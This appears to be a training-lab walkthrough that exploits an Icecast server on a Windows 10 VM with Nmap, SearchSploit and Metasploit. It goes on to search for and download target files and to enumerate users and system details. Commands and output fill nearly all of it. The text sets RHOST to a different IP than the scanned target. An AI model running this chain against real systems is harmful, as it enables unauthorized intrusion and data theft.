

[Instructions](#)

[Bonus](#)

## Instructions

1. Perform a service and version scan using Nmap to determine which services are up and running:
  - a. Run the Nmap command that performs a service and version scan against the target.

```
nmap -sV -allports 192.168.0.20
```

```
root@kali: # nmap -sV --allports 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-29 11:48 PST
Nmap scan report for 192.168.0.20
Host is up (0.0071s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE          VERSION
25/tcp    open  smtp             SLmail smtpd 5.5.0.4433
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
3389/tcp   open  ms-wbt-server   Microsoft Terminal Services
8000/tcp   open  http             Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
```

2. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
  - a. Run the SearchSploit commands to show available Icecast exploits.

```
searchsploit icecast
```

```
root@kali:~# searchsploit icecast
```

| Exploit Title                                   | Path                        |
|---|-----------------------------|
| Icecast 1.1.x/1.3.x - Directory Traversal       | multiple/remote/20972.txt   |
| Icecast 1.1.x/1.3.x - Slash File Name Denial    | multiple/dos/20973.txt      |
| Icecast 1.3.7/1.3.8 - 'print_client()' Format   | windows/remote/20582.c      |
| Icecast 1.x - AVLLib Buffer Overflow            | unix/remote/21363.c         |
| Icecast 2.0.1 (Win32) - Remote Code Execution   | windows/remote/568.c        |
| Icecast 2.0.1 (Win32) - Remote Code Execution   | windows/remote/573.c        |
| Icecast 2.0.1 (Windows x86) - Header Overwrite  | windows_x86/remote/16763.rb |
| Icecast 2.x - XSL Parser Multiple Vulnerability | multiple/remote/25238.txt   |
| Icecast server 1.3.12 - Directory Traversal     | linux/remote/21602.txt      |

```
Shellcodes: No Results
Papers: No Results
```

3. Now that we know which exploits are available to us, let's start Metasploit:
  - a. Run the command that starts Metasploit:

```
msfconsole
```

4. Search for the Icecast module and load it for use.
  - a. Run the command to search for the Icecast module:

```
search icecast
```

```
msf5 > search icecast
```

| Matching Modules |   |                 |       |       |                          |  |
|------------------|---|-----------------|-------|-------|--------------------------|--|
| #                | Name  | Disclosure Date | Rank  | Check | Description              |  |
| 0                | exploit/windows/http/icecast_header_overwrite | 2004-09-28      | great | No    | Icecast Header Overwrite |  |

- b. Run the command to use the Icecast module:

```
use 0
```

5. Set the "RHOST" to the target machine.
  - a. Run the command that sets the "RHOST":

```
set RHOST 192.168.0.10
```

6. Run the Iccast exploit.
  - a. Run the command that runs the Iccast exploit.

```
run
```

- b. Run the command that performs a search for the “secretfile.txt” on the target.

```
search -f *secretfile*.txt
```

```
meterpreter > search -f *secretfile*.txt
Found 1 result...
c:\Users\IEUser\Documents\user.secretfile.txt (161 bytes)
```

7. You should now have a Meterpreter session open.
  - a. Run the command to performs a search for the “recipe.txt” on the target:

```
search -f *recipe*.txt
```

```
meterpreter > search -f *recipe*.txt
Found 1 result...
c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
```

- b. **Bonus:** Run the command that exfiltrates the “recipe\*.txt” file:

```
download 'C:\Users\IEUser\Documents\Drinks.recipe.txt'
```

```
meterpreter > download 'C:\Users\IEUser\Documents\Drinks.recipe.txt'
[*] Downloading: C:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.tx
t
[*] Downloaded 48.00 B of 48.00 B (100.0%): C:\Users\IEUser\Documents\Drinks.rec
ipe.txt -> Drinks.recipe.txt
[*] download : C:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.tx
t
```

## Bonus

1. Run a Meterpreter post script that enumerates all logged on users.

```
meterpreter > run post/windows/gather/enum_logged_on_users

[+] Running against session 1

Current Logged Users
=====

SID                                User
---                                -
S-1-5-21-321011808-3761883066-353627080-1000  MSEDGEWIN10\IEUser

[+] Results saved in: /root/.msf4/loot/20220129122806_default_192.168.0.20_host.
users.activ_741814.txt

Recently Logged Users
=====

SID                                Profile Path
---                                -
S-1-5-18                           %systemroot%\system32\config\syst
emprofile
S-1-5-19                           %systemroot%\ServiceProfiles\Loca
lService
S-1-5-20                           %systemroot%\ServiceProfiles\Netw
orkService
S-1-5-21-321011808-3761883066-353627080-1000  C:\Users\IEUser
S-1-5-21-321011808-3761883066-353627080-1003  C:\Users\sysadmin
S-1-5-21-321011808-3761883066-353627080-1004  C:\Users\vagrant
```

2. Open a Meterpreter shell.

```
shell
```

3. Run the command that displays the target's computer system information.

```
systeminfo
```

```
C:\Program Files (x86)\Icecast2 Win32>systeminfo
systeminfo
```

```
Host Name:                MSEDGEWIN10
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:          Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:              Multiprocessor Free
Registered Owner:
Registered Organization:    Microsoft
Product ID:                 00329-20000-00001-AA236
Original Install Date:      3/19/2019, 4:59:35 AM
System Boot Time:           1/29/2022, 11:35:53 AM
System Manufacturer:        Microsoft Corporation
System Model:                Virtual Machine
System Type:                 x64-based PC
Processor(s):                1 Processor(s) Installed.
                             [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineInt
el ~2095 Mhz
```

```
BIOS Version: American Megatrends Inc. 090007 , 5/18/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,168 MB
Available Physical Memory: 837 MB
Virtual Memory: Max Size: 3,448 MB
Virtual Memory: Available: 1,616 MB
Virtual Memory: In Use: 1,832 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\MSEDGEWIN10
Hotfix(s): 11 Hotfix(s) Installed.
           [01]: KB4601555
           [02]: KB4465065
           [03]: KB4470788
           [04]: KB4480056
           [05]: KB4486153
           [06]: KB4535680
           [07]: KB4537759
           [08]: KB4539571
           [09]: KB4549947
           [10]: KB5003243
           [11]: KB5003171
Network Card(s): 1 NIC(s) Installed.
                 [01]: Microsoft Hyper-V Network Adapter
                     Connection Name: Ethernet
                     DHCP Enabled: No
                     IP address(es)
                     [01]: 192.168.0.20
                     [02]: fe80::19ba:64e7:838c:b1b6
Hyper-V Requirements: A hypervisor has been detected. Features required for
Hyper-V will not be displayed.
```